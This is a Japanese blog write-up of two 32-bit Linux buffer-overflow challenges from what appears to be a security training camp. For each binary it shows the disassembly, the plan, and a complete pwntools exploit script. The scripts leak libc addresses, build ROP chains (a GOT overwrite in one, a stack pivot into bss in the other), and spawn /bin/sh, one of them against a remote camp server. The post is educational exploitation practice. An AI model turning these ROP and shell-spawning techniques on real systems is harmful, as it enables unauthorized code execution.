ymduu+2

初心を忘れないのでツンデレとPSPが今でも好き、技術メモとか制作物とかそういうの

4D 実行ファイルの防御機構を突破せよ writeup

problem1_1は講義時間中にシェルを取れたので講義の間だけ接続できたリモートのものに攻撃するコード、problem1_2は帰宅してからシェルを取ったのでローカルでシェル起動したコードとその方針を示す。

problem1_1

問題

mainのアセンブリコードは以下。readで0x3e8バイト読む部分にBOFがある。

Dump of assembler code for function main:
   0x0804849d <+0>:   push   ebp
   0x0804849e <+1>:   mov    ebp,esp
   0x080484a0 <+3>:   and    esp,0xfffffff0
   0x080484a3 <+6>:   sub    esp,0x30
   0x080484a6 <+9>:   mov    eax,ds:0x804a040
   0x080484ab <+14>:  mov    DWORD PTR [esp+0xc],0x0
   0x080484b3 <+22>:  mov    DWORD PTR [esp+0x8],0x2
   0x080484bb <+30>:  mov    DWORD PTR [esp+0x4],0x0
   0x080484c3 <+38>:  mov    DWORD PTR [esp],eax
   0x080484c6 <+41>:  call   0x8048390 <setvbuf@plt>
   0x080484cb <+46>:  mov    DWORD PTR [esp],0x80485a0
   0x080484d2 <+53>:  call   0x8048360 <printf@plt>
   0x080484d7 <+58>:  mov    DWORD PTR [esp+0x8],0x3e8
   0x080484df <+66>:  lea    eax,[esp+0x10]
   0x080484e3 <+70>:  mov    DWORD PTR [esp+0x4],eax
   0x080484e7 <+74>:  mov    DWORD PTR [esp],0x0
   0x080484ee <+81>:  call   0x8048350 <read@plt>
   0x080484f3 <+86>:  lea    eax,[esp+0x10]
   0x080484f7 <+90>:  mov    DWORD PTR [esp+0x4],eax
   0x080484fb <+94>:  mov    DWORD PTR [esp],0x80485b2
   0x08048502 <+101>: call   0x8048360 <printf@plt>
   0x08048507 <+106>: leave  
   0x08048508 <+107>: ret    
End of assembler dump.

方針

printfを使ってprintfのGOTのアドレスをリーク->そのアドレスを使ってlibcのベースアドレスとsystem()のアドレスを計算->systemアドレスと"/bin/sh"をprintfのGOTに書き込み->printf(だがこれは罠でsystem)起動というROPを流し込んだ。

コード

ytoku/Slides/Pwn勉強会 - 電気通信大学MMA
をテンプレとして使った。problem1_2もそう。

# -*- coding: utf-8 -*-
from pwn import *
import time
## exploit対象のアーキテクチャ
context(arch = 'i386', os = 'linux')
# context(arch = "amd64", os = "linux")
## 攻撃のサーバに接続
#conn = process("./problem1_1")
conn = remote("camp16.rex.gs", 10001)
#conn = remote("localhost", 4000)
printf_libc_addr=0x4cdd0
payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A"
printf_plt=p32(0x8048360)
printf_GOT=p32(0x804a010)
pop1ret=p32(0x0804856f) # pop ret
pop3ret=p32(0x0804856d) #poppoppop ret
read_plt=p32(0x8048350)
print "po"
aa=raw_input()
#leak printf addr
payload+=printf_plt
payload+=pop1ret
payload+=printf_GOT

#read(0,printf_got,20)
payload+=read_plt
payload+=pop3ret
payload+=p32(0)
payload+=printf_GOT
payload+=p32(20)

#system("/bin/sh") (printfのgotにsystemのアドレスが入っているためprintf_pltからはsystemが呼ばれる)
payload+=printf_plt
payload+=b'PPPP'
payload+=p32(u32(printf_GOT)+4)

conn.send(payload)
time.sleep(0.5)
#print payload
print "po2"
aa=raw_input()
s= conn.recv(1024)
ls=s.split("\n")
print ls
printf_addr=ls[1][0:4]
print "printf_addr="+hex(u32(printf_addr))
libc_base=u32(printf_addr)-printf_libc_addr
print "base="+hex(libc_base)
system_addr=0x3fe70+libc_base

#GOT write,binsh write
conn.send(p32(system_addr)+b'/bin/sh\0')



## コンソールの入出力を攻撃対象に接続
conn.interactive()

problem1_2

問題

問題のアセンブリコードは以下。脆弱性はproblem1_1と同じだが、Full RELROなのでGOTに書き込むことができない。

Dump of assembler code for function main:
   0x0804849d <+0>:   push   ebp
   0x0804849e <+1>:   mov    ebp,esp
   0x080484a0 <+3>:   and    esp,0xfffffff0
   0x080484a3 <+6>:   sub    esp,0x40
   0x080484a6 <+9>:   mov    eax,ds:0x804a020
   0x080484ab <+14>:  mov    DWORD PTR [esp+0xc],0x0
   0x080484b3 <+22>:  mov    DWORD PTR [esp+0x8],0x2
   0x080484bb <+30>:  mov    DWORD PTR [esp+0x4],0x0
   0x080484c3 <+38>:  mov    DWORD PTR [esp],eax
   0x080484c6 <+41>:  call   0x8048390 <setvbuf@plt>
   0x080484cb <+46>:  mov    DWORD PTR [esp],0x80485b0
   0x080484d2 <+53>:  call   0x8048360 <printf@plt>
   0x080484d7 <+58>:  mov    DWORD PTR [esp+0x8],0x3e8
   0x080484df <+66>:  lea    eax,[esp+0x1c]
   0x080484e3 <+70>:  mov    DWORD PTR [esp+0x4],eax
   0x080484e7 <+74>:  mov    DWORD PTR [esp],0x0
   0x080484ee <+81>:  call   0x8048350 <read@plt>
   0x080484f3 <+86>:  mov    DWORD PTR [esp+0x3c],eax
   0x080484f7 <+90>:  mov    eax,DWORD PTR [esp+0x3c]
   0x080484fb <+94>:  add    eax,0x1
   0x080484fe <+97>:  mov    BYTE PTR [esp+eax*1+0x1c],0x0
   0x08048503 <+102>: lea    eax,[esp+0x1c]
   0x08048507 <+106>: mov    DWORD PTR [esp+0x4],eax
   0x0804850b <+110>: mov    DWORD PTR [esp],0x80485c2
   0x08048512 <+117>: call   0x8048360 <printf@plt>
   0x08048517 <+122>: leave  
   0x08048518 <+123>: ret    

方針

やったことはlibc_start_mainのアドレスをリーク->libcの場所計算->readでbss領域にevecve("/bin/sh",0,0)するROPをロード->stack pivotでespをbss領域の先頭に移動->execve発火という感じ。 (twitterからコピペ)

コード

# -*- coding: utf-8 -*-
from pwn import *
import time
## exploit対象のアーキテクチャ
context(arch = 'i386', os = 'linux')
# context(arch = "amd64", os = "linux")
## 攻撃のサーバに接続
conn = process("./problem1_2")
#conn = remote("camp16.rex.gs", 10001)
#conn = remote("localhost", 4000)
bss_addr=0x804a020

payload="AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAA"
payload2=""
printf_plt=p32(0x8048360)
printf_GOT=p32(0x8049fec)
libc_start_main_GOT=p32(0x8049ff4)
libc_start_main_offset=0x19990
pop1ret=p32(0x0804857f) # pop ebp ret
pop3ret=p32(0x0804857d) #poppoppop ret
leaveret=p32(0x8048408) #leave ret
read_plt=p32(0x8048350)

#leak libc_start_main addr
payload+=printf_plt
payload+=pop1ret
payload+=libc_start_main_GOT

#read(0,printf_got,20)  rop 2nd stage is written in bss 
payload+=read_plt
payload+=pop3ret
payload+=p32(0)
payload+=p32(bss_addr)
payload+=p32(200) 

#stack pivot
payload+=pop1ret    #pop ebp ret
payload+=p32(bss_addr)
payload+=leaveret   #esp<-bss_addr

conn.send(payload)
time.sleep(0.5)
#print payload
s= conn.recv(1024)
ls=s.split("\n")
print ls
lsm_addr=ls[1][0:4]
print "lsm_addr="+hex(u32(lsm_addr))
libc_base=u32(lsm_addr)-libc_start_main_offset
print "base="+hex(libc_base)
execve_addr=libc_base+0xb5be0
binsh_addr=libc_base+0x160a24

#execve("/bin/sh",0,0)
payload2+=b'PPPP'   #dummy ebp
payload2+=p32(execve_addr)
payload2+=b'PPPP'   #dummy retaddr
payload2+=p32(binsh_addr)
payload2+=p32(0)
payload2+=p32(0)
conn.send(payload2)


## コンソールの入出力を攻撃対象に接続
conn.interactive()

stack pivotでpwnにおける世界を広げることができたと思う。